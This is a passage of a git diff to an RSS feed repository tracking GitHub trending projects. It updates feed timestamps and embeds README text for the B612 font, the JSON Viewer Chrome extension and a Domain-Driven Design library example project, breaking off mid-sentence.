href="https://intactile.com">Intactile DESIGN</a> to work on the design of the eight typographic variants of the font. This one, baptized B612 in reference to the imaginary asteroid of the aviator Saint‑Exupéry, benefited from a complete hinting on all the characters.</p> <h2>Releasing a new version of the font</h2> <ul> <li>Update the version number in the font info of the source files</li> <li>Make a copy of the source files</li> <li>Open the copies in Fontlab</li> <li>Run the merge intersection command on each file</li> <li>Generate the ttf files</li> <li>Run the build script from the scripts folder to fix digital signature</li> </ul> <h2>Copyright</h2> <p>Copyright (c) 2012, AIRBUS (airbus-group.com). All rights reserved.</p> <h2>License</h2> <p>This program and the accompanying materials are made available under the terms of the Eclipse Public License v2.0 and Eclipse Distribution License v1.0 and the SIL Open Font License v1.1 which accompanies this distribution. The Eclipse Public License is available at <a href="https://www.eclipse.org/legal/epl-v20.html">https://www.eclipse.org/legal/epl-v20.html</a> and the Eclipse Distribution License is available at <a href="https://www.eclipse.org/org/documents/edl-v10.php">https://www.eclipse.org/org/documents/edl-v10.php</a>. The SIL Open Font License v1.1 is available at <a href="https://scripts.sil.org/OFL">https://scripts.sil.org/OFL</a></p> - - - tulios/json-viewer - 2023-09-24T01:52:11Z - tag:github.com,2023-09-24:/tulios/json-viewer - - <p>It is a Chrome extension for printing JSON and JSONP.</p><hr><p><img src="https://raw.githubusercontent.com/tulios/json-viewer/master/logo.png" alt="JSONViewer Logo"></p> <h1>JSON Viewer</h1> <p><img src="https://raw.githubusercontent.com/tulios/json-viewer/master/screenshot.png" alt="screenshot"></p> <p>The most beautiful and customizable JSON/JSONP highlighter that your eyes have ever seen. It is a Chrome extension for printing JSON and JSONP.</p> <p>Notes:</p> <ul> <li>This extension might crash with other JSON highlighters/formatters, you may need to disable them</li> <li>To highlight local files and incognito tabs you have to manually enable these options on the extensions page</li> <li>Sometimes when the plugin updates chrome leaves the old background process running and revokes some options, like the access to local files. When this happen just recheck the option that everything will work again</li> <li>Works on local files (if you enable this in chrome://extensions)</li> </ul> <p>Features:</p> <ul> <li>Syntax highlighting</li> <li>27 built-in themes</li> <li>Collapsible nodes</li> <li>Clickable URLs (optional)</li> <li>URL does not matter (the content is analysed to determine if its a JSON or not)</li> <li>Inspect your json typing "json" in the console</li> <li>Hot word <code>json-viewer</code> into omnibox (type <code>json-viewer</code> + TAB and paste your JSON into omnibox, hit ENTER and it will be highlighted)</li> <li>Toggle button to view the raw/highlighted version</li> <li>Works with numbers bigger than Number.MAX_VALUE</li> <li>Option to show line numbers</li> <li>Option to customize your theme</li> <li>Option to customize the tab size</li> <li>Option to configure a max JSON size to highlight</li> <li>Option to collapse nodes from second level + Button to unfold all collapsed nodes</li> <li>Option to include a header with timestamp + url</li> <li>Option to allow the edition of the loaded JSON</li> <li>Option to sort json by keys</li> <li>Option to disable auto highlight</li> <li>Option for C-style braces and arrays</li> <li>Scratch pad, a new area which you can type/paste JSON and format indefinitely using a button or key shortcut. To access type <code>json-viewer</code> + <code>TAB</code> + <code>scratch pad</code> ENTER</li> </ul> <h2>Installation</h2> <h3>Install through Chrome Web Store</h3> <p><a href="https://chrome.google.com/webstore/detail/json-viewer/gbmdgpbipfallnflgajpaliibnhdgobh"><img src="https://raw.githubusercontent.com/tulios/json-viewer/master/tryitnow.png" alt="https://chrome.google.com/webstore/detail/json-viewer/gbmdgpbipfallnflgajpaliibnhdgobh"></a></p> <h3>Or compile and load by yourself</h3> <ol> <li>It depends on node (version in <code>package.json</code> engines).</li> <li><code>npm install --global yarn</code></li> <li><code>yarn install</code></li> <li><code>yarn run build</code></li> <li>Open Chrome and go to: chrome://extensions/</li> <li>Enable: "Developer mode"</li> <li>Click: "Load unpacked extension"</li> <li>Select: "build/json_viewer" directory.</li> </ol> <h2>Try it on</h2> <h3>JSON</h3> <p><a href="https://api.github.com/repos/tulios/json-viewer">https://api.github.com/repos/tulios/json-viewer</a></p> <p><a href="http://graph.facebook.com/github">http://graph.facebook.com/github</a></p> <p><a href="https://api.github.com">https//api.github.com</a></p> <p><a href="https://api.github.com/gists/public">https://api.github.com/gists/public</a></p> <p>Large files:</p> <p><a href="https://raw.githubusercontent.com/ebrelsford/geojson-examples/master/596acres-02-18-2014.geojson">https://raw.githubusercontent.com/ebrelsford/geojson-examples/master/596acres-02-18-2014.geojson</a></p> <p><a href="https://api.takealot.com/rest/v-1-4-2/productlines?available=1&amp;cat=10371&amp;instock=1&amp;rows=10&amp;sort=score%20desc&amp;start=0">https://api.takealot.com/rest/v-1-4-2/productlines?available=1&amp;cat=10371&amp;instock=1&amp;rows=10&amp;sort=score%20desc&amp;start=0</a></p> <h3>JSONP</h3> <p><a href="http://freemusicarchive.org/api/get/curators.jsonp?api_key=60BLHNQCAOUFPIBZ&amp;callback=test">http://freemusicarchive.org/api/get/curators.jsonp?api_key=60BLHNQCAOUFPIBZ&amp;callback=test</a></p> <h2>License</h2> <p>See <a href="https://github.com/tulios/json-viewer/raw/master/LICENSE">LICENSE</a> for more details.</p> - - \ No newline at end of file diff --git a/http/daily/index.xml b/http/daily/index.xml index e84a0c7b0fd..1ee313dbc5b 100644 --- a/http/daily/index.xml +++ b/http/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTTP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:40Z + 2023-09-25T01:31:43Z Daily Trending of HTTP in GitHub \ No newline at end of file diff --git a/http/weekly/index.xml b/http/weekly/index.xml deleted file mode 100644 index edbe9d7475e..00000000000 --- a/http/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTTP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:43Z - Weekly Trending of HTTP in GitHub - - \ No newline at end of file diff --git a/hxml/daily/index.xml b/hxml/daily/index.xml index c9a98292cb5..7b6ce9e600a 100644 --- a/hxml/daily/index.xml +++ b/hxml/daily/index.xml @@ -1,7 +1,7 @@ GitHub HXML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:44Z + 2023-09-25T01:31:49Z Daily Trending of HXML in GitHub \ No newline at end of file diff --git a/hxml/weekly/index.xml b/hxml/weekly/index.xml deleted file mode 100644 index a1a3e0c30bd..00000000000 --- a/hxml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HXML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:47Z - Weekly Trending of HXML in GitHub - - \ No newline at end of file diff --git a/hy/daily/index.xml b/hy/daily/index.xml index fa0cdf185e0..096fdf0fda9 100644 --- a/hy/daily/index.xml +++ b/hy/daily/index.xml @@ -1,14 +1,7 @@ GitHub Hy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:45Z + 2023-09-25T01:31:49Z Daily Trending of Hy in GitHub - - atisharma/chasm_engine - 2023-09-24T01:32:45Z - tag:github.com,2023-09-24:/atisharma/chasm_engine - - <p>CHAracter State Management - a generative text adventure engine</p><hr> - \ No newline at end of file diff --git a/hy/weekly/index.xml b/hy/weekly/index.xml deleted file mode 100644 index 5743aa1c848..00000000000 --- a/hy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Hy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:48Z - Weekly Trending of Hy in GitHub - - \ No newline at end of file diff --git a/hyphy/daily/index.xml b/hyphy/daily/index.xml index d81d4ccd673..fb964d849d0 100644 --- a/hyphy/daily/index.xml +++ b/hyphy/daily/index.xml @@ -1,7 +1,7 @@ GitHub HyPhy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:46Z + 2023-09-25T01:31:48Z Daily Trending of HyPhy in GitHub \ No newline at end of file diff --git a/hyphy/weekly/index.xml b/hyphy/weekly/index.xml deleted file mode 100644 index 8da89fa13f9..00000000000 --- a/hyphy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HyPhy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:49Z - Weekly Trending of HyPhy in GitHub - - \ No newline at end of file diff --git a/idl/daily/index.xml b/idl/daily/index.xml index 1962a6c20fb..6710b6035e2 100644 --- a/idl/daily/index.xml +++ b/idl/daily/index.xml @@ -1,7 +1,7 @@ GitHub IDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:47Z + 2023-09-25T01:31:47Z Daily Trending of IDL in GitHub \ No newline at end of file diff --git a/idl/weekly/index.xml b/idl/weekly/index.xml deleted file mode 100644 index dfcb2761977..00000000000 --- a/idl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub IDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:46Z - Weekly Trending of IDL in GitHub - - \ No newline at end of file diff --git a/idris/daily/index.xml b/idris/daily/index.xml index af09b5d8fd2..ce76ea42542 100644 --- a/idris/daily/index.xml +++ b/idris/daily/index.xml @@ -1,7 +1,7 @@ GitHub Idris Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:51Z + 2023-09-25T01:31:52Z Daily Trending of Idris in GitHub \ No newline at end of file diff --git a/idris/weekly/index.xml b/idris/weekly/index.xml deleted file mode 100644 index 2daef4b22a9..00000000000 --- a/idris/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Idris Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:53Z - Weekly Trending of Idris in GitHub - - \ No newline at end of file diff --git a/ignore-list/daily/index.xml b/ignore-list/daily/index.xml index aebd85dc8d7..8bc2c957293 100644 --- a/ignore-list/daily/index.xml +++ b/ignore-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ignore List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:49Z + 2023-09-25T01:31:53Z Daily Trending of Ignore List in GitHub \ No newline at end of file diff --git a/ignore-list/weekly/index.xml b/ignore-list/weekly/index.xml deleted file mode 100644 index 0c0e1f28430..00000000000 --- a/ignore-list/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ignore List Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:52Z - Weekly Trending of Ignore List in GitHub - - \ No newline at end of file diff --git a/igor-pro/daily/index.xml b/igor-pro/daily/index.xml index 697c924fd9a..ff53c77de62 100644 --- a/igor-pro/daily/index.xml +++ b/igor-pro/daily/index.xml @@ -1,7 +1,7 @@ GitHub IGOR Pro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:50Z + 2023-09-25T01:31:51Z Daily Trending of IGOR Pro in GitHub \ No newline at end of file diff --git a/igor-pro/weekly/index.xml b/igor-pro/weekly/index.xml deleted file mode 100644 index cb26d5c85df..00000000000 --- a/igor-pro/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub IGOR Pro Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:51Z - Weekly Trending of IGOR Pro in GitHub - - \ No newline at end of file diff --git a/imagej-macro/daily/index.xml b/imagej-macro/daily/index.xml index 04e0c092f36..9751a20e0fd 100644 --- a/imagej-macro/daily/index.xml +++ b/imagej-macro/daily/index.xml @@ -1,7 +1,7 @@ GitHub ImageJ Macro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:48Z + 2023-09-25T01:31:52Z Daily Trending of ImageJ Macro in GitHub \ No newline at end of file diff --git a/imagej-macro/weekly/index.xml b/imagej-macro/weekly/index.xml deleted file mode 100644 index 3e60488594c..00000000000 --- a/imagej-macro/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ImageJ Macro Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:50Z - Weekly Trending of ImageJ Macro in GitHub - - \ No newline at end of file diff --git a/inform-7/daily/index.xml b/inform-7/daily/index.xml index c2e16b7860c..037c0302b1e 100644 --- a/inform-7/daily/index.xml +++ b/inform-7/daily/index.xml @@ -1,7 +1,7 @@ GitHub Inform 7 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:54Z + 2023-09-25T01:31:57Z Daily Trending of Inform 7 in GitHub \ No newline at end of file diff --git a/inform-7/weekly/index.xml b/inform-7/weekly/index.xml deleted file mode 100644 index f6f1282841f..00000000000 --- a/inform-7/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Inform 7 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:55Z - Weekly Trending of Inform 7 in GitHub - - \ No newline at end of file diff --git a/ini/daily/index.xml b/ini/daily/index.xml index 0ccb0464b59..91cda751068 100644 --- a/ini/daily/index.xml +++ b/ini/daily/index.xml @@ -1,7 +1,7 @@ GitHub INI Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:52Z + 2023-09-25T01:31:55Z Daily Trending of INI in GitHub \ No newline at end of file diff --git a/ini/weekly/index.xml b/ini/weekly/index.xml deleted file mode 100644 index 4661570a370..00000000000 --- a/ini/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub INI Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:56Z - Weekly Trending of INI in GitHub - - \ No newline at end of file diff --git a/inno-setup/daily/index.xml b/inno-setup/daily/index.xml index 5d3d5464c6c..f2f4e185e12 100644 --- a/inno-setup/daily/index.xml +++ b/inno-setup/daily/index.xml @@ -1,7 +1,7 @@ GitHub Inno Setup Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:56Z + 2023-09-25T01:32:01Z Daily Trending of Inno Setup in GitHub \ No newline at end of file diff --git a/inno-setup/weekly/index.xml b/inno-setup/weekly/index.xml deleted file mode 100644 index 85e37547a71..00000000000 --- a/inno-setup/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Inno Setup Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:57Z - Weekly Trending of Inno Setup in GitHub - - \ No newline at end of file diff --git a/io/daily/index.xml b/io/daily/index.xml index 79549331007..b8b8842522c 100644 --- a/io/daily/index.xml +++ b/io/daily/index.xml @@ -1,7 +1,7 @@ GitHub Io Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:58Z + 2023-09-25T01:32:00Z Daily Trending of Io in GitHub \ No newline at end of file diff --git a/io/weekly/index.xml b/io/weekly/index.xml deleted file mode 100644 index 88295367711..00000000000 --- a/io/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Io Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:59Z - Weekly Trending of Io in GitHub - - \ No newline at end of file diff --git a/ioke/daily/index.xml b/ioke/daily/index.xml index 6be6a85b8a1..8ce36220635 100644 --- a/ioke/daily/index.xml +++ b/ioke/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ioke Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:57Z + 2023-09-25T01:31:58Z Daily Trending of Ioke in GitHub \ No newline at end of file diff --git a/ioke/weekly/index.xml b/ioke/weekly/index.xml deleted file mode 100644 index 1ae92a4e850..00000000000 --- a/ioke/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ioke Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:58Z - Weekly Trending of Ioke in GitHub - - \ No newline at end of file diff --git a/irc-log/daily/index.xml b/irc-log/daily/index.xml index 930d0a09f02..5fdb4a69121 100644 --- a/irc-log/daily/index.xml +++ b/irc-log/daily/index.xml @@ -1,7 +1,7 @@ GitHub IRC log Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:57Z + 2023-09-25T01:31:59Z Daily Trending of IRC log in GitHub \ No newline at end of file diff --git a/irc-log/weekly/index.xml b/irc-log/weekly/index.xml deleted file mode 100644 index 0ebd2d3b109..00000000000 --- a/irc-log/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub IRC log Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:00Z - Weekly Trending of IRC log in GitHub - - \ No newline at end of file diff --git a/isabelle-root/daily/index.xml b/isabelle-root/daily/index.xml index 79dd1db4a42..568bc7f794b 100644 --- a/isabelle-root/daily/index.xml +++ b/isabelle-root/daily/index.xml @@ -1,7 +1,7 @@ GitHub Isabelle ROOT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:59Z + 2023-09-25T01:32:04Z Daily Trending of Isabelle ROOT in GitHub \ No newline at end of file diff --git a/isabelle-root/weekly/index.xml b/isabelle-root/weekly/index.xml deleted file mode 100644 index 81109b0031d..00000000000 --- a/isabelle-root/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Isabelle ROOT Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:02Z - Weekly Trending of Isabelle ROOT in GitHub - - \ No newline at end of file diff --git a/isabelle/daily/index.xml b/isabelle/daily/index.xml index c1bb938119d..9f38e6bf1e7 100644 --- a/isabelle/daily/index.xml +++ b/isabelle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Isabelle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:02Z + 2023-09-25T01:32:02Z Daily Trending of Isabelle in GitHub \ No newline at end of file diff --git a/isabelle/weekly/index.xml b/isabelle/weekly/index.xml deleted file mode 100644 index 59d14b468d3..00000000000 --- a/isabelle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Isabelle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:03Z - Weekly Trending of Isabelle in GitHub - - \ No newline at end of file diff --git a/j/daily/index.xml b/j/daily/index.xml index 0d333fc45f2..f949314d8b1 100644 --- a/j/daily/index.xml +++ b/j/daily/index.xml @@ -1,7 +1,7 @@ GitHub J Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:01Z + 2023-09-25T01:32:05Z Daily Trending of J in GitHub \ No newline at end of file diff --git a/j/weekly/index.xml b/j/weekly/index.xml deleted file mode 100644 index 60d5721c182..00000000000 --- a/j/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub J Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:01Z - Weekly Trending of J in GitHub - - \ No newline at end of file diff --git a/janet/daily/index.xml b/janet/daily/index.xml index d33933b95f6..d7b5d074153 100644 --- a/janet/daily/index.xml +++ b/janet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Janet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:00Z + 2023-09-25T01:32:03Z Daily Trending of Janet in GitHub \ No newline at end of file diff --git a/janet/weekly/index.xml b/janet/weekly/index.xml deleted file mode 100644 index cb4ce74c4df..00000000000 --- a/janet/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Janet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:03Z - Weekly Trending of Janet in GitHub - - \ No newline at end of file diff --git a/jar-manifest/daily/index.xml b/jar-manifest/daily/index.xml index 2325616b277..bca6af403d0 100644 --- a/jar-manifest/daily/index.xml +++ b/jar-manifest/daily/index.xml @@ -1,7 +1,7 @@ GitHub JAR Manifest Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:05Z + 2023-09-25T01:32:07Z Daily Trending of JAR Manifest in GitHub \ No newline at end of file diff --git a/jar-manifest/weekly/index.xml b/jar-manifest/weekly/index.xml deleted file mode 100644 index e67f8dc2a20..00000000000 --- a/jar-manifest/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JAR Manifest Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:04Z - Weekly Trending of JAR Manifest in GitHub - - \ No newline at end of file diff --git a/jasmin/daily/index.xml b/jasmin/daily/index.xml index 875aa3d1fee..311adbb53bb 100644 --- a/jasmin/daily/index.xml +++ b/jasmin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jasmin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:04Z + 2023-09-25T01:32:07Z Daily Trending of Jasmin in GitHub \ No newline at end of file diff --git a/jasmin/weekly/index.xml b/jasmin/weekly/index.xml deleted file mode 100644 index 239123bdc93..00000000000 --- a/jasmin/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jasmin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:06Z - Weekly Trending of Jasmin in GitHub - - \ No newline at end of file diff --git a/java-properties/daily/index.xml b/java-properties/daily/index.xml index d59003af451..b0339b1ae58 100644 --- a/java-properties/daily/index.xml +++ b/java-properties/daily/index.xml @@ -1,7 +1,7 @@ GitHub Java Properties Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:03Z + 2023-09-25T01:32:06Z Daily Trending of Java Properties in GitHub \ No newline at end of file diff --git a/java-properties/weekly/index.xml b/java-properties/weekly/index.xml deleted file mode 100644 index a82ba423cc6..00000000000 --- a/java-properties/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Java Properties Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:05Z - Weekly Trending of Java Properties in GitHub - - \ No newline at end of file diff --git a/java-server-pages/daily/index.xml b/java-server-pages/daily/index.xml index 894b9a7d294..273722aec5b 100644 --- a/java-server-pages/daily/index.xml +++ b/java-server-pages/daily/index.xml @@ -1,7 +1,7 @@ GitHub Java Server Pages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:24Z + 2023-09-25T01:32:20Z Daily Trending of Java Server Pages in GitHub \ No newline at end of file diff --git a/java-server-pages/weekly/index.xml b/java-server-pages/weekly/index.xml deleted file mode 100644 index ee5b297c085..00000000000 --- a/java-server-pages/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Java Server Pages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:25Z - Weekly Trending of Java Server Pages in GitHub - - \ No newline at end of file diff --git a/java/daily/index.xml b/java/daily/index.xml index e2ab7a25964..82faff4d727 100644 --- a/java/daily/index.xml +++ b/java/daily/index.xml @@ -1,14 +1,21 @@ GitHub Java Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:08Z + 2023-09-25T01:32:10Z Daily Trending of Java in GitHub - ddd-by-examples/library - 2023-09-24T01:33:08Z - tag:github.com,2023-09-24:/ddd-by-examples/library - - <p>A comprehensive Domain-Driven Design example with problem space strategic analysis and various tactical patterns.</p><hr><p><a href="https://circleci.com/gh/ddd-by-examples/library"><img src="https://circleci.com/gh/ddd-by-examples/library.svg?style=svg" alt="CircleCI"></a> <a href="https://codecov.io/gh/ddd-by-examples/library"><img src="https://codecov.io/gh/ddd-by-examples/library/branch/master/graph/badge.svg?sanitize=true" alt="Code Coverage"></a></p> <h1>Table of contents</h1> <ol> <li><a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#about">About</a></li> <li><a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#domain-description">Domain description</a></li> <li><a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#general-assumptions">General assumptions</a><br> 3.1 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#process-discovery">Process discovery</a><br> 3.2 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#project-structure-and-architecture">Project structure and architecture</a><br> 3.3 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#aggregates">Aggregates</a><br> 3.4 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#events">Events</a><br> 3.4.1 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#events-in-repositories">Events in Repositories</a><br> 3.5 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#archunit">ArchUnit</a><br> 3.6 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#functional-thinking">Functional thinking</a><br> 3.7 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#no-orm">No ORM</a><br> 3.8 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#architecture-code-gap">Architecture-code gap</a><br> 3.9 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#model-code-gap">Model-code gap</a><br> 3.10 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#spring">Spring</a><br> 3.11 <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#tests">Tests</a></li> <li><a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#how-to-contribute">How to contribute</a></li> <li><a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#references">References</a></li> </ol> <h2>About</h2> <p>This is a project of a library, driven by real <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#domain-description">business requirements</a>. We use techniques strongly connected with Domain Driven Design, Behavior-Driven Development, Event Storming, User Story Mapping.</p> <h2>Domain description</h2> <p>A public library allows patrons to place books on hold at its various library branches. Available books can be placed on hold only by one patron at any given point in time. Books are either circulating or restricted, and can have retrieval or usage fees. A restricted book can only be held by a researcher patron. A regular patron is limited to five holds at any given moment, while a researcher patron is allowed an unlimited number of holds. An open-ended book hold is active until the patron checks out the book, at which time it is completed. A closed-ended book hold that is not completed within a fixed number of days after it was requested will expire. This check is done at the beginning of a day by taking a look at daily sheet with expiring holds. Only a researcher patron can request an open-ended hold duration. Any patron with more than two overdue checkouts at a library branch will get a rejection if trying a hold at that same library branch. A book can be checked out for up to 60 days. Check for overdue checkouts is done by taking a look at daily sheet with overdue checkouts. Patron interacts with his/her current holds, checkouts, etc. by taking a look at patron profile. Patron profile looks like a daily sheet, but the information there is limited to one patron and is not necessarily daily. Currently a patron can see current holds (not canceled nor expired) and current checkouts (including overdue). Also, he/she is able to hold a book and cancel a hold.</p> <p>How actually a patron knows which books are there to lend? Library has its catalogue of books where books are added together with their specific instances. A specific book instance of a book can be added only if there is book with matching ISBN already in the catalogue. Book must have non-empty title and price. At the time of adding an instance we decide whether it will be Circulating or Restricted. This enables us to have book with same ISBN as circulated and restricted at the same time (for instance, there is a book signed by the author that we want to keep as Restricted)</p> <h2>General assumptions</h2> <h3>Process discovery</h3> <p>The first thing we started with was domain exploration with the help of Big Picture EventStorming. The description you found in the previous chapter, landed on our virtual wall:<br> <img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/eventstorming-domain-desc.png" alt="Event Storming Domain description"><br> The EventStorming session led us to numerous discoveries, modeled with the sticky notes:<br> <img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/eventstorming-big-picture.jpg" alt="Event Storming Big Picture"><br> During the session we discovered following definitions:<br> <img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/eventstorming-definitions.png" alt="Event Storming Definitions"></p> <p>This made us think of real life scenarios that might happen. We discovered them described with the help of the <strong>Example mapping</strong>:<br> <img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/example-mapping.png" alt="Example mapping"></p> <p>This in turn became the base for our <em>Design Level</em> sessions, where we analyzed each example:<br> <img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/eventstorming-design-level.jpg" alt="Example mapping"></p> <p>Please follow the links below to get more details on each of the mentioned steps:</p> <ul> <li><a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/big-picture.md">Big Picture EventStorming</a></li> <li><a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/example-mapping.md">Example Mapping</a></li> <li><a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/design-level.md">Design Level EventStorming</a></li> </ul> <h3>Project structure and architecture</h3> <p>At the very beginning, not to overcomplicate the project, we decided to assign each bounded context to a separate package, which means that the system is a modular monolith. There are no obstacles, though, to put contexts into maven modules or finally into microservices.</p> <p>Bounded contexts should (amongst others) introduce autonomy in the sense of architecture. Thus, each module encapsulating the context has its own local architecture aligned to problem complexity. In the case of a context, where we identified true business logic (<strong>lending</strong>) we introduced a domain model that is a simplified (for the purpose of the project) abstraction of the reality and utilized hexagonal architecture. In the case of a context, that during Event Storming turned out to lack any complex domain logic, we applied CRUD-like local architecture.</p> <p><img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/architecture-big-picture.png" alt="Architecture"></p> <p>If we are talking about hexagonal architecture, it lets us separate domain and application logic from frameworks (and infrastructure). What do we gain with this approach? Firstly, we can unit test most important part of the application - <strong>business logic</strong> - usually without the need to stub any dependency. Secondly, we create ourselves an opportunity to adjust infrastructure layer without the worry of breaking the core functionality. In the infrastructure layer we intensively use Spring Framework as probably the most mature and powerful application framework with an incredible test support. More information about how we use Spring you will find <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#spring">here</a>.</p> <p>As we already mentioned, the architecture was driven by Event Storming sessions. Apart from identifying contexts and their complexity, we could also make a decision that we separate read and write models (CQRS). As an example you can have a look at <strong>Patron Profiles</strong> and <em>Daily Sheets</em>.</p> <h3>Aggregates</h3> <p>Aggregates discovered during Event Storming sessions communicate with each other with events. There is a contention, though, should they be consistent immediately or eventually? As aggregates in general determine business boundaries, eventual consistency sounds like a better choice, but choices in software are never costless. Providing eventual consistency requires some infrastructural tools, like message broker or event store. That's why we could (and did) start with immediate 